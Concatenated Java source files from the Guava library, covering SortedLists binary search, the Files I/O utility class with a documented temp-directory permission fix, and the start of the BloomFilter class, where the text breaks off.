{@link java.util.Collections#binarySearch(List, * Object)} when the key isn't present, since {@code ~insertionIndex} is equal to {@code -1 - * insertionIndex}. */ INVERTED_INSERTION_INDEX { @Override public int resultIndex(int higherIndex) { return ~higherIndex; } }; abstract int resultIndex(int higherIndex); } /** * Searches the specified naturally ordered list for the specified object using the binary search * algorithm. * * <p>Equivalent to {@link #binarySearch(List, Function, Object, Comparator, KeyPresentBehavior, * KeyAbsentBehavior)} using {@link Ordering#natural}. */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 public static <E extends Comparable> int binarySearch( List<? extends E> list, E e, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior) { checkNotNull(e); return binarySearch(list, e, Ordering.natural(), presentBehavior, absentBehavior); } /** * Binary searches the list for the specified key, using the specified key function. * * <p>Equivalent to {@link #binarySearch(List, Function, Object, Comparator, KeyPresentBehavior, * KeyAbsentBehavior)} using {@link Ordering#natural}. */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 public static <E extends @Nullable Object, K extends Comparable> int binarySearch( List<E> list, Function<? super E, K> keyFunction, K key, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior) { checkNotNull(key); return binarySearch( list, keyFunction, key, Ordering.natural(), presentBehavior, absentBehavior); } /** * Binary searches the list for the specified key, using the specified key function. * * <p>Equivalent to {@link #binarySearch(List, Object, Comparator, KeyPresentBehavior, * KeyAbsentBehavior)} using {@link Lists#transform(List, Function) Lists.transform(list, * keyFunction)}. */ public static <E extends @Nullable Object, K extends @Nullable Object> int binarySearch( List<E> list, Function<? super E, K> keyFunction, @ParametricNullness K key, Comparator<? super K> keyComparator, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior) { return binarySearch( Lists.transform(list, keyFunction), key, keyComparator, presentBehavior, absentBehavior); } /** * Searches the specified list for the specified object using the binary search algorithm. The * list must be sorted into ascending order according to the specified comparator (as by the * {@link Collections#sort(List, Comparator) Collections.sort(List, Comparator)} method), prior to * making this call. If it is not sorted, the results are undefined. * * <p>If there are elements in the list which compare as equal to the key, the choice of {@link * KeyPresentBehavior} decides which index is returned. If no elements compare as equal to the * key, the choice of {@link KeyAbsentBehavior} decides which index is returned. * * <p>This method runs in log(n) time on random-access lists, which offer near-constant-time * access to each list element. * * @param list the list to be searched. * @param key the value to be searched for. * @param comparator the comparator by which the list is ordered. * @param presentBehavior the specification for what to do if at least one element of the list * compares as equal to the key. * @param absentBehavior the specification for what to do if no elements of the list compare as * equal to the key. * @return the index determined by the {@code KeyPresentBehavior}, if the key is in the list; * otherwise the index determined by the {@code KeyAbsentBehavior}. */ public static <E extends @Nullable Object> int binarySearch( List<? extends E> list, @ParametricNullness E key, Comparator<? super E> comparator, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior) { checkNotNull(comparator); checkNotNull(list); checkNotNull(presentBehavior); checkNotNull(absentBehavior); if (!(list instanceof RandomAccess)) { list = Lists.newArrayList(list); } // TODO(lowasser): benchmark when it's best to do a linear search int lower = 0; int upper = list.size() - 1; while (lower <= upper) { int middle = (lower + upper) >>> 1; int c = comparator.compare(key, list.get(middle)); if (c < 0) { upper = middle - 1; } else if (c > 0) { lower = middle + 1; } else { return lower + presentBehavior.resultIndex( comparator, key, list.subList(lower, upper + 1), middle - lower); } } return absentBehavior.resultIndex(lower); } }
google/guava
android/guava/src/com/google/common/collect/SortedLists.java
384
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.io; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.io.FileWriteMode.APPEND; import com.google.common.annotations.Beta; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.Joiner; import com.google.common.base.Optional; import com.google.common.base.Predicate; import com.google.common.base.Splitter; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Lists; import com.google.common.graph.SuccessorsFunction; import com.google.common.graph.Traverser; import com.google.common.hash.HashCode; import com.google.common.hash.HashFunction; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.InlineMe; import com.google.j2objc.annotations.J2ObjCIncompatible; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.RandomAccessFile; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Provides utility methods for working with {@linkplain File files}. * * <p>{@link java.nio.file.Path} users will find similar utilities in {@link MoreFiles} and the * JDK's {@link java.nio.file.Files} class. * * @author Chris Nokleberg * @author Colin Decker * @since 1.0 */ @J2ktIncompatible @GwtIncompatible @ElementTypesAreNonnullByDefault public final class Files { private Files() {} /** * Returns a buffered reader that reads from a file using the given character set. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#newBufferedReader(java.nio.file.Path, Charset)}. * * @param file the file to read from * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @return the buffered reader */ public static BufferedReader newReader(File file, Charset charset) throws FileNotFoundException { checkNotNull(file); checkNotNull(charset); return new BufferedReader(new InputStreamReader(new FileInputStream(file), charset)); } /** * Returns a buffered writer that writes to a file using the given character set. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#newBufferedWriter(java.nio.file.Path, Charset, * java.nio.file.OpenOption...)}. * * @param file the file to write to * @param charset the charset used to encode the output stream; see {@link StandardCharsets} for * helpful predefined constants * @return the buffered writer */ public static BufferedWriter newWriter(File file, Charset charset) throws FileNotFoundException { checkNotNull(file); checkNotNull(charset); return new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), charset)); } /** * Returns a new {@link ByteSource} for reading bytes from the given file. * * @since 14.0 */ public static ByteSource asByteSource(File file) { return new FileByteSource(file); } private static final class FileByteSource extends ByteSource { private final File file; private FileByteSource(File file) { this.file = checkNotNull(file); } @Override public FileInputStream openStream() throws IOException { return new FileInputStream(file); } @Override public Optional<Long> sizeIfKnown() { if (file.isFile()) { return Optional.of(file.length()); } else { return Optional.absent(); } } @Override public long size() throws IOException { if (!file.isFile()) { throw new FileNotFoundException(file.toString()); } return file.length(); } @Override public byte[] read() throws IOException { Closer closer = Closer.create(); try { FileInputStream in = closer.register(openStream()); return ByteStreams.toByteArray(in, in.getChannel().size()); } catch (Throwable e) { throw closer.rethrow(e); } finally { closer.close(); } } @Override public String toString() { return "Files.asByteSource(" + file + ")"; } } /** * Returns a new {@link ByteSink} for writing bytes to the given file. The given {@code modes} * control how the file is opened for writing. When no mode is provided, the file will be * truncated before writing. When the {@link FileWriteMode#APPEND APPEND} mode is provided, writes * will append to the end of the file without truncating it. * * @since 14.0 */ public static ByteSink asByteSink(File file, FileWriteMode... modes) { return new FileByteSink(file, modes); } private static final class FileByteSink extends ByteSink { private final File file; private final ImmutableSet<FileWriteMode> modes; private FileByteSink(File file, FileWriteMode... modes) { this.file = checkNotNull(file); this.modes = ImmutableSet.copyOf(modes); } @Override public FileOutputStream openStream() throws IOException { return new FileOutputStream(file, modes.contains(APPEND)); } @Override public String toString() { return "Files.asByteSink(" + file + ", " + modes + ")"; } } /** * Returns a new {@link CharSource} for reading character data from the given file using the given * character set. * * @since 14.0 */ public static CharSource asCharSource(File file, Charset charset) { return asByteSource(file).asCharSource(charset); } /** * Returns a new {@link CharSink} for writing character data to the given file using the given * character set. The given {@code modes} control how the file is opened for writing. When no mode * is provided, the file will be truncated before writing. When the {@link FileWriteMode#APPEND * APPEND} mode is provided, writes will append to the end of the file without truncating it. * * @since 14.0 */ public static CharSink asCharSink(File file, Charset charset, FileWriteMode... modes) { return asByteSink(file, modes).asCharSink(charset); } /** * Reads all bytes from a file into a byte array. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link java.nio.file.Files#readAllBytes}. * * @param file the file to read from * @return a byte array containing all the bytes from file * @throws IllegalArgumentException if the file is bigger than the largest possible byte array * (2^31 - 1) * @throws IOException if an I/O error occurs */ public static byte[] toByteArray(File file) throws IOException { return asByteSource(file).read(); } /** * Reads all characters from a file into a {@link String}, using the given character set. * * @param file the file to read from * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @return a string containing all the characters from the file * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSource(file, charset).read()}. */ @Deprecated @InlineMe( replacement = "Files.asCharSource(file, charset).read()", imports = "com.google.common.io.Files") public static String toString(File file, Charset charset) throws IOException { return asCharSource(file, charset).read(); } /** * Overwrites a file with the contents of a byte array. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#write(java.nio.file.Path, byte[], java.nio.file.OpenOption...)}. * * @param from the bytes to write * @param to the destination file * @throws IOException if an I/O error occurs */ public static void write(byte[] from, File to) throws IOException { asByteSink(to).write(from); } /** * Writes a character sequence (such as a string) to a file using the given character set. * * @param from the character sequence to write * @param to the destination file * @param charset the charset used to encode the output stream; see {@link StandardCharsets} for * helpful predefined constants * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSink(to, charset).write(from)}. */ @Deprecated @InlineMe( replacement = "Files.asCharSink(to, charset).write(from)", imports = "com.google.common.io.Files") public static void write(CharSequence from, File to, Charset charset) throws IOException { asCharSink(to, charset).write(from); } /** * Copies all bytes from a file to an output stream. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#copy(java.nio.file.Path, OutputStream)}. * * @param from the source file * @param to the output stream * @throws IOException if an I/O error occurs */ public static void copy(File from, OutputStream to) throws IOException { asByteSource(from).copyTo(to); } /** * Copies all the bytes from one file to another. * * <p>Copying is not an atomic operation - in the case of an I/O error, power loss, process * termination, or other problems, {@code to} may not be a complete copy of {@code from}. If you * need to guard against those conditions, you should employ other file-level synchronization. * * <p><b>Warning:</b> If {@code to} represents an existing file, that file will be overwritten * with the contents of {@code from}. If {@code to} and {@code from} refer to the <i>same</i> * file, the contents of that file will be deleted. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#copy(java.nio.file.Path, java.nio.file.Path, java.nio.file.CopyOption...)}. * * @param from the source file * @param to the destination file * @throws IOException if an I/O error occurs * @throws IllegalArgumentException if {@code from.equals(to)} */ public static void copy(File from, File to) throws IOException { checkArgument(!from.equals(to), "Source %s and destination %s must be different", from, to); asByteSource(from).copyTo(asByteSink(to)); } /** * Copies all characters from a file to an appendable object, using the given character set. * * @param from the source file * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @param to the appendable object * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSource(from, charset).copyTo(to)}. */ @Deprecated @InlineMe( replacement = "Files.asCharSource(from, charset).copyTo(to)", imports = "com.google.common.io.Files") public static void copy(File from, Charset charset, Appendable to) throws IOException { asCharSource(from, charset).copyTo(to); } /** * Appends a character sequence (such as a string) to a file using the given character set. * * @param from the character sequence to append * @param to the destination file * @param charset the charset used to encode the output stream; see {@link StandardCharsets} for * helpful predefined constants * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSink(to, charset, FileWriteMode.APPEND).write(from)}. This * method is scheduled to be removed in October 2019. */ @Deprecated @InlineMe( replacement = "Files.asCharSink(to, charset, FileWriteMode.APPEND).write(from)", imports = {"com.google.common.io.FileWriteMode", "com.google.common.io.Files"}) public static void append(CharSequence from, File to, Charset charset) throws IOException { asCharSink(to, charset, FileWriteMode.APPEND).write(from); } /** * Returns true if the given files exist, are not directories, and contain the same bytes. * * @throws IOException if an I/O error occurs */ public static boolean equal(File file1, File file2) throws IOException { checkNotNull(file1); checkNotNull(file2); if (file1 == file2 || file1.equals(file2)) { return true; } /* * Some operating systems may return zero as the length for files denoting system-dependent * entities such as devices or pipes, in which case we must fall back on comparing the bytes * directly. */ long len1 = file1.length(); long len2 = file2.length(); if (len1 != 0 && len2 != 0 && len1 != len2) { return false; } return asByteSource(file1).contentEquals(asByteSource(file2)); } /** * Atomically creates a new directory somewhere beneath the system's temporary directory (as * defined by the {@code java.io.tmpdir} system property), and returns its name. * * <p>The temporary directory is created with permissions restricted to the current user or, in * the case of Android, the current app. If that is not possible (as is the case under the very * old Android Ice Cream Sandwich release), then this method throws an exception instead of * creating a directory that would be more accessible. (This behavior is new in Guava 32.0.0. * Previous versions would create a directory that is more accessible, as discussed in <a * href="https://github.com/google/guava/issues/4011">CVE-2020-8908</a>.) * * <p>Use this method instead of {@link File#createTempFile(String, String)} when you wish to * create a directory, not a regular file. A common pitfall is to call {@code createTempFile}, * delete the file and create a directory in its place, but this leads a race condition which can * be exploited to create security vulnerabilities, especially when executable files are to be * written into the directory. * * <p>This method assumes that the temporary volume is writable, has free inodes and free blocks, * and that it will not be called thousands of times per second. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#createTempDirectory}. * * @return the newly-created directory * @throws IllegalStateException if the directory could not be created, such as if the system does * not support creating temporary directories securely * @deprecated For Android users, see the <a * href="https://developer.android.com/training/data-storage" target="_blank">Data and File * Storage overview</a> to select an appropriate temporary directory (perhaps {@code * context.getCacheDir()}), and create your own directory under that. (For example, you might * use {@code new File(context.getCacheDir(), "directoryname").mkdir()}, or, if you need an * arbitrary number of temporary directories, you might have to generate multiple directory * names in a loop until {@code mkdir()} returns {@code true}.) For Java 7+ users, prefer * {@link java.nio.file.Files#createTempDirectory}, transforming it to a {@link File} using * {@link java.nio.file.Path#toFile() toFile()} if needed. To restrict permissions as this * method does, pass {@code * PosixFilePermissions.asFileAttribute(PosixFilePermissions.fromString("rwx------"))} to your * call to {@code createTempDirectory}. */ @Beta @Deprecated @J2ObjCIncompatible public static File createTempDir() { return TempFileCreator.INSTANCE.createTempDir(); } /** * Creates an empty file or updates the last updated timestamp on the same as the unix command of * the same name. * * @param file the file to create or update * @throws IOException if an I/O error occurs */ @SuppressWarnings("GoodTime") // reading system time without TimeSource public static void touch(File file) throws IOException { checkNotNull(file); if (!file.createNewFile() && !file.setLastModified(System.currentTimeMillis())) { throw new IOException("Unable to update modification time of " + file); } } /** * Creates any necessary but nonexistent parent directories of the specified file. Note that if * this operation fails it may have succeeded in creating some (but not all) of the necessary * parent directories. * * @throws IOException if an I/O error occurs, or if any necessary but nonexistent parent * directories of the specified file could not be created. * @since 4.0 */ public static void createParentDirs(File file) throws IOException { checkNotNull(file); File parent = file.getCanonicalFile().getParentFile(); if (parent == null) { /* * The given directory is a filesystem root. All zero of its ancestors exist. This doesn't * mean that the root itself exists -- consider x:\ on a Windows machine without such a drive * -- or even that the caller can create it, but this method makes no such guarantees even for * non-root files. */ return; } parent.mkdirs(); if (!parent.isDirectory()) { throw new IOException("Unable to create parent directories of " + file); } } /** * Moves a file from one path to another. This method can rename a file and/or move it to a * different directory. In either case {@code to} must be the target path for the file itself; not * just the new name for the file or the path to the new parent directory. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link java.nio.file.Files#move}. * * @param from the source file * @param to the destination file * @throws IOException if an I/O error occurs * @throws IllegalArgumentException if {@code from.equals(to)} */ public static void move(File from, File to) throws IOException { checkNotNull(from); checkNotNull(to); checkArgument(!from.equals(to), "Source %s and destination %s must be different", from, to); if (!from.renameTo(to)) { copy(from, to); if (!from.delete()) { if (!to.delete()) { throw new IOException("Unable to delete " + to); } throw new IOException("Unable to delete " + from); } } } /** * Reads the first line from a file. The line does not include line-termination characters, but * does include other leading and trailing whitespace. * * @param file the file to read from * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @return the first line, or null if the file is empty * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSource(file, charset).readFirstLine()}. */ @Deprecated @InlineMe( replacement = "Files.asCharSource(file, charset).readFirstLine()", imports = "com.google.common.io.Files") @CheckForNull public static String readFirstLine(File file, Charset charset) throws IOException { return asCharSource(file, charset).readFirstLine(); } /** * Reads all of the lines from a file. The lines do not include line-termination characters, but * do include other leading and trailing whitespace. * * <p>This method returns a mutable {@code List}. For an {@code ImmutableList}, use {@code * Files.asCharSource(file, charset).readLines()}. * * <p><b>{@link java.nio.file.Path} equivalent:</b> {@link * java.nio.file.Files#readAllLines(java.nio.file.Path, Charset)}. * * @param file the file to read from * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @return a mutable {@link List} containing all the lines * @throws IOException if an I/O error occurs */ public static List<String> readLines(File file, Charset charset) throws IOException { // don't use asCharSource(file, charset).readLines() because that returns // an immutable list, which would change the behavior of this method return asCharSource(file, charset) .readLines( new LineProcessor<List<String>>() { final List<String> result = Lists.newArrayList(); @Override public boolean processLine(String line) { result.add(line); return true; } @Override public List<String> getResult() { return result; } }); } /** * Streams lines from a {@link File}, stopping when our callback returns false, or we have read * all of the lines. * * @param file the file to read from * @param charset the charset used to decode the input stream; see {@link StandardCharsets} for * helpful predefined constants * @param callback the {@link LineProcessor} to use to handle the lines * @return the output of processing the lines * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asCharSource(file, charset).readLines(callback)}. */ @Deprecated @InlineMe( replacement = "Files.asCharSource(file, charset).readLines(callback)", imports = "com.google.common.io.Files") @CanIgnoreReturnValue // some processors won't return a useful result @ParametricNullness public static <T extends @Nullable Object> T readLines( File file, Charset charset, LineProcessor<T> callback) throws IOException { return asCharSource(file, charset).readLines(callback); } /** * Process the bytes of a file. * * <p>(If this seems too complicated, maybe you're looking for {@link #toByteArray}.) * * @param file the file to read * @param processor the object to which the bytes of the file are passed. * @return the result of the byte processor * @throws IOException if an I/O error occurs * @deprecated Prefer {@code asByteSource(file).read(processor)}. */ @Deprecated @InlineMe( replacement = "Files.asByteSource(file).read(processor)", imports = "com.google.common.io.Files") @CanIgnoreReturnValue // some processors won't return a useful result @ParametricNullness public static <T extends @Nullable Object> T readBytes(File file, ByteProcessor<T> processor) throws IOException { return asByteSource(file).read(processor); } /** * Computes the hash code of the {@code file} using {@code hashFunction}. * * @param file the file to read * @param hashFunction the hash function to use to hash the data * @return the {@link HashCode} of all of the bytes in the file * @throws IOException if an I/O error occurs * @since 12.0 * @deprecated Prefer {@code asByteSource(file).hash(hashFunction)}. */ @Deprecated @InlineMe( replacement = "Files.asByteSource(file).hash(hashFunction)", imports = "com.google.common.io.Files") public static HashCode hash(File file, HashFunction hashFunction) throws IOException { return asByteSource(file).hash(hashFunction); } /** * Fully maps a file read-only in to memory as per {@link * FileChannel#map(java.nio.channels.FileChannel.MapMode, long, long)}. * * <p>Files are mapped from offset 0 to its length. * * <p>This only works for files ≤ {@link Integer#MAX_VALUE} bytes. * * @param file the file to map * @return a read-only buffer reflecting {@code file} * @throws FileNotFoundException if the {@code file} does not exist * @throws IOException if an I/O error occurs * @see FileChannel#map(MapMode, long, long) * @since 2.0 */ public static MappedByteBuffer map(File file) throws IOException { checkNotNull(file); return map(file, MapMode.READ_ONLY); } /** * Fully maps a file in to memory as per {@link * FileChannel#map(java.nio.channels.FileChannel.MapMode, long, long)} using the requested {@link * MapMode}. * * <p>Files are mapped from offset 0 to its length. * * <p>This only works for files ≤ {@link Integer#MAX_VALUE} bytes. * * @param file the file to map * @param mode the mode to use when mapping {@code file} * @return a buffer reflecting {@code file} * @throws FileNotFoundException if the {@code file} does not exist * @throws IOException if an I/O error occurs * @see FileChannel#map(MapMode, long, long) * @since 2.0 */ public static MappedByteBuffer map(File file, MapMode mode) throws IOException { return mapInternal(file, mode, -1); } /** * Maps a file in to memory as per {@link FileChannel#map(java.nio.channels.FileChannel.MapMode, * long, long)} using the requested {@link MapMode}. * * <p>Files are mapped from offset 0 to {@code size}. * * <p>If the mode is {@link MapMode#READ_WRITE} and the file does not exist, it will be created * with the requested {@code size}. Thus this method is useful for creating memory mapped files * which do not yet exist. * * <p>This only works for files ≤ {@link Integer#MAX_VALUE} bytes. * * @param file the file to map * @param mode the mode to use when mapping {@code file} * @return a buffer reflecting {@code file} * @throws IOException if an I/O error occurs * @see FileChannel#map(MapMode, long, long) * @since 2.0 */ public static MappedByteBuffer map(File file, MapMode mode, long size) throws IOException { checkArgument(size >= 0, "size (%s) may not be negative", size); return mapInternal(file, mode, size); } private static MappedByteBuffer mapInternal(File file, MapMode mode, long size) throws IOException { checkNotNull(file); checkNotNull(mode); Closer closer = Closer.create(); try { RandomAccessFile raf = closer.register(new RandomAccessFile(file, mode == MapMode.READ_ONLY ? "r" : "rw")); FileChannel channel = closer.register(raf.getChannel()); return channel.map(mode, 0, size == -1 ? channel.size() : size); } catch (Throwable e) { throw closer.rethrow(e); } finally { closer.close(); } } /** * Returns the lexically cleaned form of the path name, <i>usually</i> (but not always) equivalent * to the original. The following heuristics are used: * * <ul> * <li>empty string becomes . * <li>. stays as . * <li>fold out ./ * <li>fold out ../ when possible * <li>collapse multiple slashes * <li>delete trailing slashes (unless the path is just "/") * </ul> * * <p>These heuristics do not always match the behavior of the filesystem. In particular, consider * the path {@code a/../b}, which {@code simplifyPath} will change to {@code b}. If {@code a} is a * symlink to {@code x}, {@code a/../b} may refer to a sibling of {@code x}, rather than the * sibling of {@code a} referred to by {@code b}. * * @since 11.0 */ public static String simplifyPath(String pathname) { checkNotNull(pathname); if (pathname.length() == 0) { return "."; } // split the path apart Iterable<String> components = Splitter.on('/').omitEmptyStrings().split(pathname); List<String> path = new ArrayList<>(); // resolve ., .., and // for (String component : components) { switch (component) { case ".": continue; case "..": if (path.size() > 0 && !path.get(path.size() - 1).equals("..")) { path.remove(path.size() - 1); } else { path.add(".."); } break; default: path.add(component); break; } } // put it back together String result = Joiner.on('/').join(path); if (pathname.charAt(0) == '/') { result = "/" + result; } while (result.startsWith("/../")) { result = result.substring(3); } if (result.equals("/..")) { result = "/"; } else if ("".equals(result)) { result = "."; } return result; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Filename_extension">file extension</a> for * the given file name, or the empty string if the file has no extension. The result does not * include the '{@code .}'. * * <p><b>Note:</b> This method simply returns everything after the last '{@code .}' in the file's * name as determined by {@link File#getName}. It does not account for any filesystem-specific * behavior that the {@link File} API does not already account for. For example, on NTFS it will * report {@code "txt"} as the extension for the filename {@code "foo.exe:.txt"} even though NTFS * will drop the {@code ":.txt"} part of the name when the file is actually created on the * filesystem due to NTFS's <a href="https://goo.gl/vTpJi4">Alternate Data Streams</a>. * * @since 11.0 */ public static String getFileExtension(String fullName) { checkNotNull(fullName); String fileName = new File(fullName).getName(); int dotIndex = fileName.lastIndexOf('.'); return (dotIndex == -1) ? "" : fileName.substring(dotIndex + 1); } /** * Returns the file name without its <a * href="http://en.wikipedia.org/wiki/Filename_extension">file extension</a> or path. This is * similar to the {@code basename} unix command. The result does not include the '{@code .}'. * * @param file The name of the file to trim the extension from. This can be either a fully * qualified file name (including a path) or just a file name. * @return The file name without its path or extension. * @since 14.0 */ public static String getNameWithoutExtension(String file) { checkNotNull(file); String fileName = new File(file).getName(); int dotIndex = fileName.lastIndexOf('.'); return (dotIndex == -1) ? fileName : fileName.substring(0, dotIndex); } /** * Returns a {@link Traverser} instance for the file and directory tree. The returned traverser * starts from a {@link File} and will return all files and directories it encounters. * * <p><b>Warning:</b> {@code File} provides no support for symbolic links, and as such there is no * way to ensure that a symbolic link to a directory is not followed when traversing the tree. In * this case, iterables created by this traverser could contain files that are outside of the * given directory or even be infinite if there is a symbolic link loop. * * <p>If available, consider using {@link MoreFiles#fileTraverser()} instead. It behaves the same * except that it doesn't follow symbolic links and returns {@code Path} instances. * * <p>If the {@link File} passed to one of the {@link Traverser} methods does not exist or is not * a directory, no exception will be thrown and the returned {@link Iterable} will contain a * single element: that file. * * <p>Example: {@code Files.fileTraverser().depthFirstPreOrder(new File("/"))} may return files * with the following paths: {@code ["/", "/etc", "/etc/config.txt", "/etc/fonts", "/home", * "/home/alice", ...]} * * @since 23.5 */ public static Traverser<File> fileTraverser() { return Traverser.forTree(FILE_TREE); } private static final SuccessorsFunction<File> FILE_TREE = new SuccessorsFunction<File>() { @Override public Iterable<File> successors(File file) { // check isDirectory() just because it may be faster than listFiles() on a non-directory if (file.isDirectory()) { File[] files = file.listFiles(); if (files != null) { return Collections.unmodifiableList(Arrays.asList(files)); } } return ImmutableList.of(); } }; /** * Returns a predicate that returns the result of {@link File#isDirectory} on input files. * * @since 15.0 */ public static Predicate<File> isDirectory() { return FilePredicate.IS_DIRECTORY; } /** * Returns a predicate that returns the result of {@link File#isFile} on input files. * * @since 15.0 */ public static Predicate<File> isFile() { return FilePredicate.IS_FILE; } private enum FilePredicate implements Predicate<File> { IS_DIRECTORY { @Override public boolean apply(File file) { return file.isDirectory(); } @Override public String toString() { return "Files.isDirectory()"; } }, IS_FILE { @Override public boolean apply(File file) { return file.isFile(); } @Override public String toString() { return "Files.isFile()"; } } } }
google/guava
guava/src/com/google/common/io/Files.java
385
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.hash; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.Beta; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.Objects; import com.google.common.base.Predicate; import com.google.common.hash.BloomFilterStrategies.LockFreeBitArray; import com.google.common.math.DoubleMath; import com.google.common.math.LongMath; import com.google.common.primitives.SignedBytes; import com.google.common.primitives.UnsignedBytes; import com.google.errorprone.annotations.CanIgnoreReturnValue; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InvalidObjectException; import java.io.ObjectInputStream; import java.io.OutputStream; import java.io.Serializable; import java.math.RoundingMode; import java.util.stream.Collector; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A Bloom filter for instances of {@code T}. A Bloom filter offers an approximate containment test * with one-sided error: if it claims that an element is contained in it, this might be in error, * but if it claims that an element is <i>not</i> contained in it, then this is definitely true. * * <p>If you are unfamiliar with Bloom filters, this nice <a * href="http://llimllib.github.io/bloomfilter-tutorial/">tutorial</a> may help you understand how * they work. * * <p>The false positive probability ({@code FPP}) of a Bloom filter is defined as the probability * that {@linkplain #mightContain(Object)} will erroneously return {@code true} for an object that * has not actually been put in the {@code BloomFilter}. * * <p>Bloom filters are serializable. They also support a more compact serial representation via the * {@link #writeTo} and {@link #readFrom} methods. Both serialized forms will continue to be * supported by future versions of this library. However, serial forms generated by newer versions * of the code may not be readable by older versions of the code (e.g., a serialized Bloom filter * generated today may <i>not</i> be readable by a binary that was compiled 6 months ago). * * <p>As of Guava 23.0, this class is thread-safe and lock-free. It internally uses atomics and * compare-and-swap to ensure correctness when multiple threads are used to access it. * * @param <T> the type of instances that the {@code BloomFilter} accepts * @author Dimitris Andreou * @author Kevin Bourrillion * @since 11.0 (thread-safe since 23.0) */ @Beta @ElementTypesAreNonnullByDefault public final class BloomFilter<T extends @Nullable Object> implements Predicate<T>, Serializable { /** * A strategy to translate T instances, to {@code numHashFunctions} bit indexes. * * <p>Implementations should be collections of pure functions (i.e. stateless). */ interface Strategy extends java.io.Serializable { /** * Sets {@code numHashFunctions} bits of the given bit array, by hashing a user element. * * <p>Returns whether any bits changed as a result of this operation. */ <T extends @Nullable Object> boolean put( @ParametricNullness T object, Funnel<? super T> funnel, int numHashFunctions, LockFreeBitArray bits); /** * Queries {@code numHashFunctions} bits of the given bit array, by hashing a user element; * returns {@code true} if and only if all selected bits are set. */ <T extends @Nullable Object> boolean mightContain( @ParametricNullness T object, Funnel<? super T> funnel, int numHashFunctions, LockFreeBitArray bits); /** * Identifier used to encode this strategy, when marshalled as part of a BloomFilter. Only * values in the [-128, 127] range are valid for the compact serial form. Non-negative values * are reserved for enums defined in BloomFilterStrategies; negative values are reserved for any * custom, stateful strategy we may define (e.g. any kind of strategy that would depend on user * input). */ int ordinal(); } /** The bit set of the BloomFilter (not necessarily power of 2!) */ private final LockFreeBitArray bits; /** Number of hashes per element */ private final int numHashFunctions; /** The funnel to translate Ts to bytes */ private final Funnel<? super T> funnel; /** The strategy we employ to map an element T to {@code numHashFunctions} bit indexes. */ private final Strategy strategy; /** Creates a BloomFilter. */ private BloomFilter( LockFreeBitArray bits, int numHashFunctions, Funnel<? super T> funnel, Strategy strategy) { checkArgument(numHashFunctions > 0, "numHashFunctions (%s) must be > 0", numHashFunctions); checkArgument( numHashFunctions <= 255, "numHashFunctions (%s) must be <= 255", numHashFunctions); this.bits = checkNotNull(bits); this.numHashFunctions = numHashFunctions; this.funnel = checkNotNull(funnel); this.strategy = checkNotNull(strategy); } /** * Creates a new {@code BloomFilter} that's a copy of this instance. The new instance is equal to * this instance but shares no mutable state. * * @since 12.0 */ public BloomFilter<T> copy() { return new BloomFilter<>(bits.copy(), numHashFunctions, funnel, strategy); 